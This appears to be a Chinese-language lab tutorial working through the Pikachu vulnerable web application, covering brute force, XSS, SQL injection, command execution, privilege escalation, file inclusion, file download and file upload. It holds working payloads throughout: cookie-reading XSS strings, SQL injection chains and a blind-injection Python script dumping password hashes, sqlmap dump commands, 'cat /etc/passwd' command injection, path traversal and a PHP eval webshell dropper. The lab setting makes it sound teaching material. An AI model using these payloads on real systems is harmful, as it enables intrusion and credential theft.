暴力破解

概述

“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。

为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:

​ 1.是否要求用户设置复杂的密码;
​ 2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
​ 3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
​ 4.是否采用了双因素认证;
​ …等等。
​ 千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!

基于表单的暴力破解

输入admin ,随意输入密码

image-20231218213211651

抓包

image-20231218214148103

爆破,得到length有明显差异的那个就是结果

image-20231218214305240

验证码绕过

on client

输入错误的password和正确的验证码

image-20231218221746238

输入错误的password和错误的验证码

直接出现弹窗,并且抓不到包

image-20231218222058867

说明这是直接在前端验证,并没有在后端验证,所以可以直接用bp爆破

该步骤与基于表单的暴力破解一样

on server

输入错误的密码和正确的验证码

回显

image-20231218222533530

输入错误的密码和错误的验证码

回显

image-20231218222656878

直接验证码错误

说明后台有对验证码验证

接下来看这个验证码是否具有时效性

image-20231218223540179

发现在bp上在保证验证码正确的情况下,改变输入的错误密码,返回的信息依旧是一样的

说明我们可以直接使用表单上的暴力破解,但是要保证验证码正确。

token防爆破?

XSS

1.反射型XSS-get

出现一个这样的页面,直接输入特殊字符,看是否被过滤掉

image-20231128232940236

image-20231128233033393

似乎没啥异常,直接查看源代码,

接着输入测试代码:

1
<script>alert(1)</script>

如下:

image-20231128233451221

结果发现输不下了,接下来就用到了我们浏览器的开发者工具

image-20231128234101696

我们改一下长度限制,改成2000吧,然后再输入

1
<script>alert(1)</script>

结果有了:

image-20231128234416769

2.反射型XSS-Post

映入眼帘的就是登录界面,为了针对性地练习XSS,直接点击提示,得到登陆账号和密码,随即登录

image-20231128234658246

得到的是一个输入框

image-20231128234932447

接下来的解题步骤与get的反射型XSS的一样,

两者的区别在于,get型是以url方式提交数据,而post型是以表单的方式提交数据

也就是说,再上一个get型的题目里我们可以通过url来改变参数利用漏洞,而在这里不可以

3.存储型XSS

1.DOM型XSS

先输入一些特殊字符看是否过滤

1
1''<>&

image-20231129000700819

可以发现并没有什么过滤,然后直接输入

1
<script>alert(1)</script>

直接出现弹窗

image-20231129211212632

2.DOM型XSS-X

点击蓝色字体出现两行字,

image-20231129212001844

查看源代码发现调用的函数domss()中存在XSS漏洞,且是在a标签里的

image-20231129211950656

接下来输入

1
#' onclick='alert(1)'>

点击“让往事随风”,随后就出现了弹窗

image-20231129213134212

4.xss盲打

丝- XSS盲打是个啥

“xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的js)的数据。当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。
也就是只有从后台才能看到前端输入的内容,从前端无法判断是否存在xss
原文链接:https://blog.csdn.net/weixin_51446936/article/details/117482606

出现了两个框,随意输入一些信息,出现了“谢谢参与……”,但看不到刚刚所输入的内容,说明已经被存储到后台

image-20231129214237250

接下来我们点击提示,进入所给的网站(在没有提示的情况下,用disearch扫描后台)发现是一个登陆界面,通过爆破得到账号密码登陆后就出现弹窗

image-20231129215423680

5.XSS过滤

输入特殊字符发现没有对它们过滤

image-20231129223622377

输入

1
<script>alert(1)</script>

结果如下,事实证明,确实是对script语句过滤了

image-20231129223854699

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
      </div>
<div class="page-content">

<div id="xssr_main">
<p class="xssr_title">阁下,请问你觉得人生苦短吗?</p>
<form method="get">
<input class="xssr_in" type="text" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<p>别说这些'>'的话,不要怕,就是干!</p> </div>


</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->

尝试一下大小写绕过,没问题

image-20231129224615374

6.xss之htmlspecialchars

  • 了解一下什么是htmlspecialchars:

htmlspecialchars()就是把一些预定的字符转换为实体,


预定义的字符是:

&(和号) 成为&

“ (双引号) 成为 "

‘ (单引号) 成为 '

< (小于) 成为 <

> (大于) 成为 >


 在前端显示正常,在后端源代码中则是转换后的字符串,

​ 也就是说:该函数能把预定义的字符串编码后显示在后端,然后再在后端转换为原来的形式显示在前端

htmlspecialchars()常见的有效flag常量:

  • ENT_COMPAT:会转换双引号,不转换单引号

  • ENT_QUOTES:单引号和双引号都转换

  • ENT_NOQUOTES:单双引号都不转换

现在进入靶场:

先输入特殊字符测试是否存在过滤

image-20231130003629421

查看源代码:

image-20231130003731956

显而易见,单引号没有被过滤

然后我们根据a标签插入的herf特性输入测试代码:

1
’ onclick='alert(1)'

image-20231130004234488

1
javascript:alert(document.cookie)

image-20231130004537302

7.XSS之href输出

打开网页,是一个输入框,输入特殊字符,发现对它们过滤了

image-20231130192515060

由于输出在a标签的href属性里面,我们可以使用Javascript协议来执行js

直接输入:

1
Javascript:alert(1)

出现弹窗:

image-20231130193104874

8.XSS之JS

输入”555“,查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
$ms='555';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}

}


</script>

输入tmac,

image-20231130194304746

我们尝试造成闭合,先把前面的script语句闭合,再插入自己的语句

1
a'</script><script>alert(111)</script>

然后弹框出现

image-20231130195112567

更深入的了解:https://www.cnblogs.com/zhaijiahui/p/6928462.html

SQL注入

前言:SQL注入知识点

  • SQL注入是什么?

    SQL注入是一种通过拼接后台SQL语句达到攻击目的的手段

  • SQL注入分类:

    • 从注入手法分为:联合查询注入、报错型注入、延时注入、堆叠注入
    • 从数据类型可分为:字符型、数值型
    • 从注入位置可分为:GET数据、POST数据、HTTP头部、cookie注入
  • 必要知识

    • 名为information_schema的数据库,储存记录着所有数据库名、表名、列名,可以通过它获取指定数据库下的表名或列名信息

    • 数据库中 “.” 代表下一级,如xiaohong.user表示xiaohong数据库下的user名

    • 常用参数

      1
      2
      3
      4
      5
      6
      7
      8
      information_schema.tables:记录所有表名信息的表
      information_schema.columns:记录所有列名信息的表
      table_name:表名
      column_name:列名
      table_schema:数据库名
      user():查看当前MySQL登录的用户名
      database():查看当前使用MySQL数据库名
      version():查看当前MySQL版本

1.数字型注入

抓包,观察看出它是post型,并且可以在bp中修改id值

image-20231202221753836

思考服务端的查询过程:

用户将id值post给服务端,然后服务端从数据库中查询,将查询到的数据返回给用户

查询的语句可能有:

1
2
select * from users where id=1//数字型
select * from users where id='1' //字符型

由于题目已经说了是数字型,所以不用考虑引号问题

接下来

先判断是否有注入点,输入下列测试语句

1
2
1 and 1=1 //回显正常
1 and 1=2 //回显错误

image-20231202222707358

利用order by 判断字段数

直到 order by 3 出现报错,说明一共有2列字段

1
1 order by (整数)

image-20231202223714346

利用union select 进行联合查询(爆库)

这里将id设为-1,就会执行id值后面的SQL语句

试试这个语句:

1
id=-1 union select 1,2

image-20231203121530078

利用以下函数可以获得该数据库的信息

1
2
3
4
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

现在我们来查询数据库名字和用户

1
id=-1 union select database(),user()

image-20231203122524220

查询可知该数据库名为pikachu

从数据库中查询表名(爆表):

利用union select 联合查询,获取表名

1
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'

结果如下:

image-20231203124605712

从表中获取字段名(爆列):

同样,利用union select联合语句

1
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='xssblind' 

image-20231203125613917

从列中获取数据信息(爆数据):

已经知道了列名,那就很简单了,直接select from

1
id=-1 union select id,time from xssblind

image-20231203130647133

2.字符型注入

思路:

打开页面是一个输入框,此时应该反射性的尝试XSS注入,先输入特殊语句,发现并没有报错,说明没有对这些字符进行过滤,直接输入测试语句

1
<script>alert(1)</script>

并没有出现弹窗,说明不存在XSS漏洞

接下来就试一试SQL注入,bp抓包,发现这是get型,发送到repeater,直接在bp上修改url上的参数,然后send上去,发现输入那些测试的SQL语句后就一直报错,没有办法,只能在输入框中测试是否存在SQL语句,通过输入框的一番操作,原来是在bp上对一些字符进行了转换,比如将‘转换为%27,将#转换为%23

现在算是找到了注入点了

直接在输入框进行与数字型一样的操作,只是要注意引号的输入

3.搜索型注入

首先先了解一下搜索型注入:

简介:

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在

原理:搜索型注入使用了下面这类语句:

1
$sql="select * from user where password like '%$pwd%' order by password"

似乎有些陌生了,那来通过下面的小知识来了解了解sql like 语句吧!

  • SQL通配符:在搜索数据库中的数据时,SQL通配符可以代替一个或多个字符,从而起到搜索的作用,并且SQL通配符必须与like运算符一起使用

  • 在SQL中,以下这些通配符可以帮助你理解它的强大之处

    通配符 描述
    % 替代一个或多个字符
    _ 仅替代一个字符
    [charlist] 字符列中的任何单一字符
    [^charist]或者[!charlist] 不在字符列中的任何单一字符
  • 通配符用法

    通配符 描述
    % select * from user where username like ‘%gerry%’
    _ select * from user where username like ‘_gerry’
    [charlist] select * from user where username like ‘[wgz]’
    [^charlist]或者[!charlist] select * from user where username like

说了那么多,我们要实现搜索型注入就要先找到闭合点,打开pikachu 这一关卡,输入a,得出以下这些信息:

username:allen
uid:2
email is: allen@pikachu.com

username:grady
uid:4
email is: grady@pikachu.com

接着就利用这些信息,输入allen’,结果出现如下报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘%’’ at line 1

在这里提示了闭合可能是‘%,可以猜测SQL 语句是

select * from user where usename like ‘%a%’

接下来进行测试,如果有以下结果,则说明有注入点:

1
2
回显正常:allen%' and 1=1# 
回显错误:allen%' and 1=2#

image-20231203202916303

通过测试,说明有注入点,接下来我们就进行一波联合查询操作,与第一关卡一样啦,

最后查询得到如下玩意,是不是需要解码呢?

your uid:vince
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:allen
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:kobe
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:grady
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:kevin
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:lucy
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:lili
your email is: e10adc3949ba59abbe56e057f20f883e

相信你现在已经对SQL注入有了更深入的理解了吧!

4.xx型注入

与搜索型注入很像,只是两者的闭合方式不一样

输入aaa’,出现如下报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’aaa’’)’ at line 1

猜测闭合语句应该就是

(‘username’)

接下来判断字段数:

1
2
aaa') order by 2  //没有报错
aaa') order by 3 //报错

说明有两个字段。

接下来有一顿联合查询操作,已经重复第四遍了,不过不要紧,熟能生巧,自己去操作一顿吧,在这里就不赘述了

5.”insert/update”注入

现在进入了报错注入这一模块,在进靶场之前我们要先对报错注入做一定的学习

报错注入基础:

  • 简介:报错注入就是利用网页出现的动态报错现象,注入SQL语句使页面报错同时获取有用的信息的一种行为。

  • 报错函数之updatexml()函数

    1
    updatexml(XML_document,XPath_string,new_value)

    当updatexml中的第二个参数包含特殊字符时会报错,并将第二个参数的内容显示在报错信息中

  • 作用:用于插入或更新元素

现在进入靶场:

打开这一关卡,就是登陆界面,在登陆之前需要注册;注册就是往数据库中插入一块数据,在插入数据的过程中就会用到updatexml函数

我们先探探风口,先抓包,发现是post型请求,接下来在bp中的repeater模块进行测试:

  • 将username参数值改成aaa’,出现报错

  • 将username参数值改成aaa’ and 1=1#,也出现报错,而且两次报错的信息不一样,说明可能存在报错注入

  • 此时就用updatexml函数进行测试

    1
    aaa' and updatexml(1,0x7e,1) and '

    0x7e相当于”~”,相当于特殊字符

    结果出现:

    image-20231204185242381

  • 说明存在报错注入,接下来一顿联合查询操作:

1.爆库:

1
aaa' and updatexml(1,concat(0x7e,database()),1) and'

concat作用:连接两个或多个字符串

and ‘ 的作用:闭合’

结果出现:

1
XPATH syntax error: '~pikachu'

得到库名:pikachu

2.爆表

1
-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),1) and '

得到如下结果:

1
XPATH syntax error: '~httpinfo,member,message,users,x'

在这里,我们肯定是需要users这个表啦

继续:

3.爆列

1
-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) and'

得到如下结果:

1
XPATH syntax error: '~USER,CURRENT_CONNECTIONS,TOTAL_'

由于回显数据只有一行,所以没有全部显示出来,此时就需要用到我们的limit 或者 substr 函数

先了解了解:

limit函数

–前10条记录:
SELECT * FROM 表名 LIMIT 0,10;
或者
SELECT * FROM 表名 LIMIT 10;

–第11至20条记录:
SELECT * FROM 表名 LIMIT 10,10;

–第21至30条记录:
SELECT * FROM 表名 LIMIT 20,10;

substr函数

格式1: substr(string string, int a, int b);
1、string 需要截取的字符串
2、a 截取字符串的开始位置(注:当a等于0或1时,都是从第一位开始截取)
3、b 要截取的字符串的长度

格式2:substr(string string, int a) ;
1、string 需要截取的字符串
2、a 可以理解为从第a个字符开始截取后面所有的字符串。

接下来我们就使用substr函数吧:

1
-1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),35,31)),1) and'

得到的结果如下:

1
XPATH syntax error: '~NECTIONS,id,username,password,l'

至于为什么是”35,31”,请先了解substr函数的用法与作用吧

4.爆数据:

1
-1' and updatexml(1,concat(0x7e,(select password from users)),1) and'

这里显示的是:

Subquery returns more than 1 row

说明此时要用到limit函数了(limit函数起到了分页的作用)

1
-1' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),1) and'

结果如下:

1
XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'

想要知道这个密码所对应的username,直接将password替换成username就行了

6.delete注入

打开关卡可以看到留言框,此处练习的是delete注入,所以点击”删除”,抓包,发现是get请求,由于在bp中注入要进行URL转换操作,所以我们直接打开火狐开发者工具中的Hackers进行一顿操作,操作与insert注入类似,同样需要使用到updatexml函数

就简单说一下火狐开发者工具中Harkers的操作吧,

image-20231204204813069

7.”HTTP Header”注入

打开关卡又是一个登录框,直接登陆进去,然后发现回显的页面中包含了HTTP的头文件信息,用bp抓包一下,可以对这些显示信息的字段进行测试一番

测试过后,发现Accept:和User-Agent:两个字段可以进行注入

我们就在User-Agent:里进行注入吧

image-20231204212956680

接下来又是联合查询操作,自个儿做吧

8.盲注(base on boolian)

对于布尔盲注,先理解一下它的基本原理:

点击这里吧

了解原理后,还要知道什么时候使用它:

  • 使用情景:页面只有登陆成功和登陆失败这两种情况,就可以使用布尔盲注
  • 使用方法:
    • 使用脚本
    • 利用sqlmap
    • 手动操作(耗时耗力)

使用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests

url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php" # url地址
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"Cookie": "PHPSESSID=im2aisu068uefdjnd9p59l2d85", } # http request报文头部信息
keylist = [chr(i) for i in range(33, 127)] # 包括数字、大小写字母、可见特殊字符
flag = 'your uid' # 用于判断附加sql语句为真的字符,根据网页回显填写,登录成功会显示 your uid等字段


def showdatabase():
n = 20 # 猜测的最大长度
k = 0
j = n // 2
length = 0
db = str()
while True:
if j > k and j < n and j - k > 3:
payload1 = "lili' and length(database())>" + str(j) + "-- ss"
param = {
"name": payload1,
"submit": "查询",
}
response = requests.get(url, params=param, headers=headers)
if response.text.find(flag) != -1:
n = n
k = j
else:
k = k
n = j
j = (n - k) // 2
elif j - k == 3 or j - k < 3:
for i in range(k - 1, n + 2):
payload2 = "lili' and length(database())=" + str(i) + "-- ss"
param = {
"name": payload2,
"submit": "查询",
}
response = requests.get(url, params=param, headers=headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("数据库名长度为:" + str(length) )
for i in range(1, length + 1):
for c in keylist:
payload3 = "lili' and substring(database()," + str(i) + ",1)='" + c + "'-- ss"
param = {
"name": payload3,
"submit": "查询",
}
response = requests.get(url, params=param, headers=headers)
if response.text.find(flag) != -1:
db = db + c
break
print("数据库名是:"+str(db))

showdatabase()

效果如下:

image-20231205183250881

使用sqlmap

sqlmap的安装:点击这里

sqlmap的使用:点击这里

爆库:

1
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --current-db

image-20231205185709601

爆表:

1
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" --tables

image-20231205190026108

爆列:

1
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "users" --columns

image-20231205190235769

爆数据:

1
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "users" -C "username,password" --dump

image-20231205190532416

9.盲注(base on time)

先了解一下时间盲注的原理:点击这里吧

对于时间盲注,我们要知道它的适用情景:就是无论输入什么,页面只返回一种结果

手动验证是否是时间盲注

打开浏览器的开发者工具,点击网络那一栏,明显可以看到所在的页面有网络延迟现象

image-20231205192853590

这里和布尔盲注一样,手动操作很费劲,实战还是得用工具,sqlmap上场,操作和布尔盲注基本一样,只是比较所需时间会更长一些

10.宽字节注入

先了解一下什么是宽字节注入:

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
————————————————
原文链接:https://blog.csdn.net/qq_45813980/article/details/119295166

在这一关卡中,直接测试,输入kobe,回显正确,输入kobe’ and 1=1# , 结果显示不正确,根据宽字节注入的原理,直接上测试语句:

1
kobe%df' or 1=1#

结果回显正确

image-20231205203243785

输入

1
kobe%df' union select 1,2#

回显:

image-20231205214356695

接下来又是老套路了,自个儿做吧

附:

这里为post型的宽字节注入,暂时还没有找到怎么用sqlmap实现注入

不过找到了get型的:

sqlmap宽字节注入的使用语句

sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” –current-user
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” –current-db(查数据库)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security –tables(当前数据库有哪些表)
————————————————
原文链接:https://blog.csdn.net/lza20001103/article/details/124286601


RCE

一、概述

  • RCE的英文全称:remote command/code execute,分为远程命令执行ping远程代码执行eval

  • RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

    出现漏洞原因:没有在输入口做输入处理

​ 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或代码。

​ 具体后端代码如下:

1
$result.=shell_exec('ping'.$ip);

二、拓展知识

ping

基本概念:ping是一个基本且重要的TCP/IP网络工具,也是检测网络故障的基本工具

  • 主要作用:

    • 通常用于检测网络的连通情况和测试网络速度
    • 根据域名得到相应主机的IP地址
    • 根据ping返回的TTL值来判断对方所使用的操作系统及数据包经过路由器数量
  • 简单用法:

    在命令提示符下输入:

    ping 对方IP地址

    image-20231206192329362

​ 其他用法:

image-20231206193052748

命令执行漏洞常用的命令

Windows

1
2
3
4
5
6
dir  ----查看文件目录
ipconfig----查看windows的IP地址
arp -a ----查看ARP缓存表
calc ----在命令行打开计算器
regedit ----打开注册表
netstst -ano----查看开放的端口信息

Linux

1
2
3
4
5
6
7
8
9
10
cat /etc/passwd ----查看passwd文件
id ----查看该用户的ID号
groups ----查看用户所属的组
cat /etc/group ----查看组信息
whoami ----查看当前用户
pwd ----查看当前路径
uname -a ----查看主机信息
cat /etc/issue ----查看主机的配置信息
netstst -pantu ----查看开放的端口信息
netstat -nr ----查看路由信息

命令执行漏洞使用的特殊字符

Windows

符号 描述 示例
| 直接执行后面的语句 ping 127.0.0.1
|| 前面出错执行后面的,前面为假 ping 2
& 前面的语句为假则执行后面的 ,前面可真可假 ping 127.0.0.1&whoami
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

Linux

符号 描述 示例
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则执行后面的,前面可真可假 ping 127.0.0.1&whoami
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

三、实战

进入pikachu靶场:

exec”ping”

先查看后端源代码:image-20231206195009341

远程命令执行ping和远程代码执行eval的源代码都对输入没有做特殊的处理,说明可能存在RCE漏洞

先ping一下本机:

image-20231206201122126

再输入:

image-20231206202125375

image-20231206202228339

我们查看后端源代码:

1
2
3
4
5
6
if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}

发现源码只是做简单的拼接,并没有做严格的漏洞处理。

exec”eval”

随便输入字符:

image-20231206202837439

输入phpinfo();

image-20231206203059961

查看后端源代码:

1
2
3
4
5
6
7
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";

}

}

可以看到不存在任何校验,直接将输入内容放进eval里。

。。。。。。

越权漏洞

一、概述

​ 越权漏洞是指由于应用在检查授权时存在纰漏,攻击者在获得低权限账号后,利用一些方式绕过权限检查,能够访问或操作其他用户更高权限

​ 该漏洞的成因主要是因为开发者在对数据进行增删改查时客户端请求的数据过分相信而遗漏了权限的判定。在实际的代码审计中,这种漏洞往往很难通过工具进行自动化监测,因此在实际应用中危害很大。

​ 目前主要存在两种越权操作类型:横向越权操作(水平越权)和纵向越权操作(垂直越权)。

  • 水平越权:只相同权限下的用户可以互相访问
  • 垂直越权:使用权限低的可以访问到权限高的

二、实战

1.水平越权

先登录一个账号:lili 123456

然后点击查看个人信息

发现url发生了改变

image-20231213192938962

由于是水平越权,试一下能否通过url来获得其他用户的信息

将用户名lili改为kobe

image-20231213193124128

成功以lili的身份获得kobe的身份

2.垂直越权

先登录我们的超级会员admin,再添加用户,对添加到用户抓包,再发送给repeater

image-20231213194721064

在登陆普通用户:pikachu 000000

发现我们刚刚添加的用户已经添加成功

image-20231213195213045

对登录的状态进行抓包,然后将该普通用户cookie复制,替换掉刚刚repeater出去的cookie

intercept is off>>多了一个用户

image-20231213195605193

更详细的了解点这里

文件包含漏洞

1.概述

什么是文件包含

简单来说,就是一个文件包含另一个文件

几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞存在在PHP、web、Application脚本中居多,在JSP、ASP 中很少甚至没有,问题在于语言设计的弊端。

比如 在PHP中,提供了:
  include(),include_once()
  require(),require_once()
  这些文件包含函数,这些函数在代码设计中被经常使用到。

文件包含漏洞分类:

PHP 中的文件包含分为本地文件包含远程文件包含

更多细节点击这里

2.本地文件包含(Local File Include)

LFI

打开pikachu靶场:

1.读取同一文件夹的文件

image-20231207113454386

文件名以参数的方式直接在url上显示

按个提交查询,发现url上只显示1~5的文件名,是否还存在file6?

当然我们可以直接在url上修改成file6,结果如下:

image-20231207114656939

果然存在。

同时,我们也可以利用bp直接爆破,

image-20231207115040969

image-20231207115327173

很明显,file6的长度很不一样,接下来直接修改url,跟上面一样

在这里我们可以直接在它的根目录下传入一个文件,然后再通过修改url的filename值,跟上面道理是一样的

image-20231207120141725

2.读取不同文件夹的文件

将自己创建的文件放在D:\phpstudy_pro\WWW\pikachu\vul\fileinclude目录里

image-20231207180919150

然后修改URL,

image-20231207181110506

tip:

1
../ 用来返回上一层目录

3.读取系统文件

敬请期待后续

3.远程文件包含

条件如下:

1.php.ini中allow_url_include和allow_url_fopen的开启

2.所包含的远程文件后缀不能与目标服务器相同(比如目标服务器是php解析的,远程服务器文件就不能是php)

攻击者会在自己的服务器上写好一个木马,格式是txt文本

1
2
3
4
5
6
<?php
$myfile = fopen("1.php", "w");
$txt = '<?php @eval($_POST["test"]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>

将该txt文本保存在D:\phpstudy_pro\WWW\pikachu\vul\fileinclude目录下

image-20231209194834654

将我们的恶意txt像本地包含一样构建payload如下:

1
http://127.0.0.1/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/vul/fileinclude/hacker.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

结果如下:

image-20231209195042038

然后使用蚁剑连接一下

image-20231209195206302

提示返回数据为空怎么办?

参考:点这里

不安全的文件下载漏洞

1.概述

文件下载

​ 文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
​ 此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。从而导致后台敏感信息(密码文件、源代码等)被下载。

​ 所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。

漏洞介绍:

任意文件下载漏洞,正常的利用手段是下载服务器文件,如脚本代码、服务器配置、系统配置…但有时我们不知道网站所处的环境以及网站的路径,这时可以利用../../来逐层猜测路径。

利用条件

  • 存在读文件的函数

  • 读取文件的路径可控且未校验或校验不严

  • 输出了文件内容

漏洞危害

下载服务器任意文件,如脚本代码、服务及系统配置文件等

可用得到的代码进一步代码审计,得到更多漏洞

漏洞挖掘:

从链接上看,形如:

1
2
3
4
5
6
download.php?path=
download.php?file=
down.php?file=
data.php?php=
readfile.php?file=
read.php?filename=

从参数名看,形如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
&ReadPath=
&FilePath=
&filepath=
&Filepath=
&Path
&path
&inputFile=
&Inputfile=
&url=
&urls=
&Lang=
&dis=
&data=
&Data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF


漏洞验证

  • index.php?f=../../../../../../etc/passwd

  • index.php?f=..index.php

  • index.php?f=file:///etc/passwd

    当f的参数值为php代码时。若文件被解析则是文件包含漏洞,若显示源码或是提示下载则是文件查看与下载漏洞

参考

2.实战

image-20231210194645793

观察url,发现并没有变化,查看源代码,然后进行拼接

image-20231210194947295

使用../跳转到更高级,实现其他敏感文件的下载

payload:

1
../../../index.php

如下:

image-20231210195826420

不安全的文件上传漏洞

1.概述

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录

​ 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

漏洞危害

文件可以通过自定义成为webshell,通过文件上传来上传后门,直接获取网站权限,属于高危漏洞。

2.客户端check(client check)

先简单上传一下正常的图片,可以上传成功

再上传php文件

image-20231210215620778

还没上传就提示格式不符合要求,猜测是客户端验证的效果

要想绕过客户端验证有以下几种方法

  • 禁用Javascript
  • bp抓包后修改后缀
  • 修改源代码

1.禁用Javascript

我用的是firefox,禁用方法如下:

image-20231210220333266

其他浏览器的禁用方法点击这里

关闭这个页面后重新上传

image-20231210220605385

成功

2.bp抓包后修改后缀

我这里抓不了包,不过可以提供一种思路

参考:https://blog.csdn.net/elephantxiang/article/details/113664495

3.修改源代码

我们查看源代码,发现是通过调用函数checkFileExt来实现对上传文件类型的限制的

image-20231211215402828

直接f12,将这个调用函数删除

image-20231211215631633

删除后再次上传php文件,上传成功:

image-20231211215737911

3.服务端check(MIME type)

1.什么是MIME

MIME(Mutipurpose Internet Mail Extensions),即多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问时,浏览器就会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式

常见的MIME格式:

类型 格式
